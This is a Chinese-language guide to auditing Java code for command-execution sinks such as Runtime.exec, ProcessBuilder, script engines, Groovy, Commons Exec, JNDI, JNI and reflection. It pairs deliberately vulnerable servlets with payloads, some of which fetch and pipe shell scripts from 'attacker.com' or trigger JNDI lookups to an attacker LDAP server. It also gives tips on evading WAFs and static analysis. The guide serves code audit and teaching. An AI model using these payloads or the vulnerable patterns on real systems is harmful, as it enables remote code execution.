☠️ Java 命令执行全景式源码审计指南
本文围绕 Java 程序中可能存在的命令执行方式进行深入挖掘与分析,不局限于常规
Runtime.getRuntime()
与ProcessBuilder
,剖析更多隐蔽的命令执行点,助你在审计与渗透中快速识别可控点。
🎯 为什么不仅仅是 Runtime 和 ProcessBuilder?
许多安全产品只对 Runtime.getRuntime()
和 ProcessBuilder
进行检测,但 Java 生态中可以执行命令的方式远不止如此。攻击者可通过:
- 脚本引擎绕过检测;
- 利用 Groovy、JNDI、Commons 库;
- 动态反射构造调用链;
- 或直接 JNI 执行 native 命令。
👇 下面将按审计视角展开介绍,包含每种方式的:
- 🧩 核心调用方式
- 📌 漏洞触发点示例
- 💥 利用场景与漏洞分析
✅ 1. Runtime.getRuntime().exec(...)
— 经典命令执行方式
🧩 调用方式说明
最常见的命令执行方式,直接使用 JVM 内置的 Runtime
类执行命令,攻击者若能控制传入参数,即可触发任意系统命令执行。
📌 漏洞示例代码
@WebServlet("/exec")
public class ExecServlet extends HttpServlet {
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
InputStream in = p.getInputStream();
byte[] buf = new byte[1024];
int len = in.read(buf);
response.getWriter().write(new String(buf, 0, len));
}
}
💥 利用方式 & 分析
- 访问
/exec?cmd=whoami
即可执行系统命令; - 若部署在 Linux 上,还可发起反弹 Shell 或远程下载;
- 参数完全可控,典型 RCE 点。
🧠 漏洞成因分析
- 用户输入直接传入
exec()
参数,完全可控; - 没有做参数过滤或命令白名单控制;
- 黑盒测试可轻松发现,最常见 RCE 类型。
✅ 2. ProcessBuilder
— 命令执行的变体
🧩 调用方式说明
ProcessBuilder
是另一个启动进程的常见类,能设置工作目录、环境变量,灵活性更高,漏洞审计时不可忽视。
📌 漏洞示例代码
public class ProcessBuilderDemo extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
String cmd = request.getParameter("cmd"); // 从网络获取参数
if (cmd == null || cmd.isEmpty()) {
response.getWriter().write("Missing cmd parameter");
return;
}
// 执行系统命令
List<String> command = Arrays.asList("/bin/sh", "-c", cmd);
ProcessBuilder pb = new ProcessBuilder(command);
Process p = pb.start();
// 输出执行结果
response.setContentType("text/plain");
p.getInputStream().transferTo(response.getOutputStream());
}
}
💥 利用方式 & 分析
http://localhost:8080/ProcessBuilderDemo?cmd=curl attacker.com/shell.sh | sh
- 类似 Runtime 但绕过 WAF 更容易;
- 可拼接复杂命令,结合环境变量实现绕过。
🧠 漏洞成因分析
- 参数拼接使用
/bin/sh -c
,完全可注入; - 即使外部包装,也未设置
pb.directory()
或pb.environment()
白名单限制。- 使用
pb.directory()
设置固定工作目录,可以防止路径遍历或非法访问文件。-
pb.directory(new File("/app/sandbox"));
-
- 使用
pb.environment()
限制用户操作范围,可以防止通过环境变量注入。-
Map<String, String> env = pb.environment();
env.clear(); // 或仅保留白名单字段
env.put("SAFE_ENV", "value");
-
- 使用
✅ 3. ScriptEngineManager.eval(...)
— JavaScript 脚本命令执行
🧩 调用方式说明
Java 8 及以下默认提供 Nashorn JavaScript 引擎,攻击者可借助 JavaScript 直接执行 Java 命令,极具隐蔽性。
📌 漏洞示例代码
@WebServlet("/eval")
public class EvalServlet extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException{
String script = request.getParameter("script");
ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");
try {
engine.eval(script);
} catch (ScriptException e) {
response.getWriter().println("Script Error");
}
}
}
💥 利用方式 & 分析
POST /eval
script=java.lang.Runtime.getRuntime().exec("whoami")
- JavaScript 可直接调用 Java 类;
- 几乎等于后门终端,常用于 Jenkins 脚本管理模块。
🧠 漏洞成因分析
- 用户传入脚本,完全未做沙箱隔离;
- 支持调用 Java 类对象的 JavaScript 引擎,如 Nashorn;
- 可执行任意 Java 代码。
✅ 4. GroovyShell.evaluate(...)
— Groovy 命令执行
🧩 调用方式说明
Groovy 是 Java 的一种动态语言扩展,常用于脚本系统和 CI 工具中。.execute()
是 Groovy 字符串扩展方法,底层仍是 Runtime。
📌 漏洞示例代码
@WebServlet("/groovy")
public class GroovyEvalServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
String input = request.getParameter("code"); // 从 URL 参数获取 Groovy 表达式
if (input == null || input.isEmpty()) {
response.getWriter().write("Missing code parameter");
return;
}
try {
GroovyShell shell = new GroovyShell();
Object result = shell.evaluate(input); // 执行 Groovy 代码
response.setContentType("text/plain");
response.getWriter().write("执行结果: " + result);
} catch (Exception e) {
response.getWriter().write("执行出错: " + e.getMessage());
}
}
}
💥 利用方式 & 分析
http://localhost:8080?code="whoami".execute().text
- Groovy
.execute()
即命令执行; - 在 Jenkins 脚本插件或第三方脚本引擎中尤为常见;
- 动态语言执行能力极强,也容易出问题。
🧠 漏洞成因分析
- Groovy 的
String.execute()
直接调用命令; GroovyShell
没有默认沙箱,等于执行任意代码;- 在 Jenkins 插件、脚本管理系统中多见。
✅ 5. Apache Commons Exec
— 中间件中常见方式
🧩 调用方式说明
Commons Exec 是 Apache 提供的进程管理工具库,许多 Java 框架使用它处理外部调用。虽然底层也使用 Runtime,但调用链更复杂,适合绕过审计工具。
📌 漏洞示例代码
@WebServlet("/exec")
public class CommonsExecServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) {
String cmd = request.getParameter("cmd"); // 网络输入
try {
CommandLine cmdLine = CommandLine.parse(cmd);
DefaultExecutor executor = new DefaultExecutor();
executor.execute(cmdLine);
response.getWriter().write("命令执行完成");
} catch (Exception e) {
try {
response.getWriter().write("执行失败: " + e.getMessage());
} catch (Exception ignored) {}
}
}
}
💥 利用方式 & 分析
http://localhost:8080/exec?cmd="curl http://attacker.com/malicious.sh | sh"
- 可作为反弹 shell 构造点;
- 白盒审计时务必识别
CommandLine.parse(...)
输入是否用户可控。
🧠 漏洞成因分析
- 与
Runtime
类似,但使用第三方库; - 许多中间件使用 Apache Commons Exec 做后端封装;
- 被忽略风险更高,适用于白盒审计时识别漏洞代码路径。
✅ 6. JNDI.lookup(...)
— 利用远程类加载实现 RCE
🧩 调用方式说明
JNDI 支持从远程 LDAP、RMI 等服务加载对象,若目标应用允许未验证地调用 lookup,可构造远程恶意类实现命令执行。
📌 漏洞示例代码
import javax.naming.InitialContext;
public class JndiExecDemo {
public static void main(String[] args) throws Exception {
String jndiUrl = "ldap://attacker.com/Exploit";
InitialContext ctx = new InitialContext();
ctx.lookup(jndiUrl);
}
}
💥 利用方式 & 分析
- LDAP Server 需提供可加载的恶意类(含命令执行代码);
- 为 Log4j2 RCE 等著名漏洞的核心触发组件;
- 可通过黑盒构造如
${jndi:ldap://attacker/exp}
字符串触发。
🧠 漏洞成因分析
- 如果配置不安全,JNDI 可触发远程类加载;
- 漏洞核心利用链:Log4j/Logback -> JNDI -> RCE;
- 常用于构造通杀漏洞链。
✅ 7. JNI(Java Native Interface)
— 本地库命令执行
🧩 调用方式说明
通过加载 .so
/ .dll
本地文件调用 system()
实现命令执行。虽然不常见,但在物联网设备、桌面软件中极具隐蔽性。
📌 漏洞示例代码
public class NativeExec {
static {
System.loadLibrary("native"); // native.dll or libnative.so
}
public native void run();
public static void main(String[] args) {
new NativeExec().run();
}
}
// native.c
JNIEXPORT void JNICALL Java_NativeExec_run(JNIEnv *env, jobject obj) {
system("whoami");
}
💥 利用方式 & 分析
- 若
.so
被外部加载且参数可控,即可实现命令执行; - 难以被 Java 安全工具检测,适合隐蔽后门部署。
✅ 8. 反射链构造 — 绕过审计静态分析
🧩 调用方式说明
通过反射组合调用链隐藏真正命令执行位置,是很多 Java 反序列化链的核心技术。
📌 漏洞示例代码
public class ReflectExec {
public static void main(String[] args) throws Exception {
Class<?> cls = Class.forName("java.lang.Runtime");
Object rt = cls.getMethod("getRuntime").invoke(null);
cls.getMethod("exec", String.class).invoke(rt, "calc");
}
}
💥 利用方式 & 分析
- 动态构建调用链可绕过很多规则引擎;
- 静态代码中难以发现明显
exec()
; - 在 Apache CommonsCollections、Spring Payload 等链中常见。
🧠 审计策略与检测建议
检查点 | 风险说明 |
---|---|
命令拼接点 .exec() , .execute() | 参数是否直接拼接命令 |
动态脚本执行(Groovy/JS) | 是否 eval 用户输入 |
脚本引擎调用链 | ScriptEngine 是否启用,支持哪些脚本语言 |
JNDI 引用 | lookup 参数是否外部可控 |
外部库调用(commons-exec等) | 参数传入点是否可控,是否跟到执行命令相关的库方法 |
🔍 常见及隐蔽命令执行方式汇总
方法类别 | 方式示例 | 可绕过WAF | 备注 |
---|---|---|---|
Runtime | Runtime.getRuntime().exec("whoami") | ❌ | 常见,易被检测 |
ProcessBuilder | new ProcessBuilder("cmd", "/c", "whoami") | ❌ | 类似上面,易被检测 |
Java脚本引擎 | ScriptEngineManager.eval(...) | ✅ | 隐蔽执行任意代码 |
JNDI注入 | InitialContext.lookup("ldap://...") | ✅ | 可触发远程类加载 |
Apache Commons Exec | CommandLine.parse(...), executor.execute(...) | ✅ | 第三方库,常用于服务 |
JNI调用 | 本地库中实现系统调用 | ✅ | 二进制层,隐蔽性强 |
Groovy脚本执行 | GroovyShell.evaluate(...) | ✅ | 高级语言集成方式 |
Java反射+封装类链 | 利用反射调用内部命令构造链 | ✅ | 绕过静态审计工具 |
暂无评论内容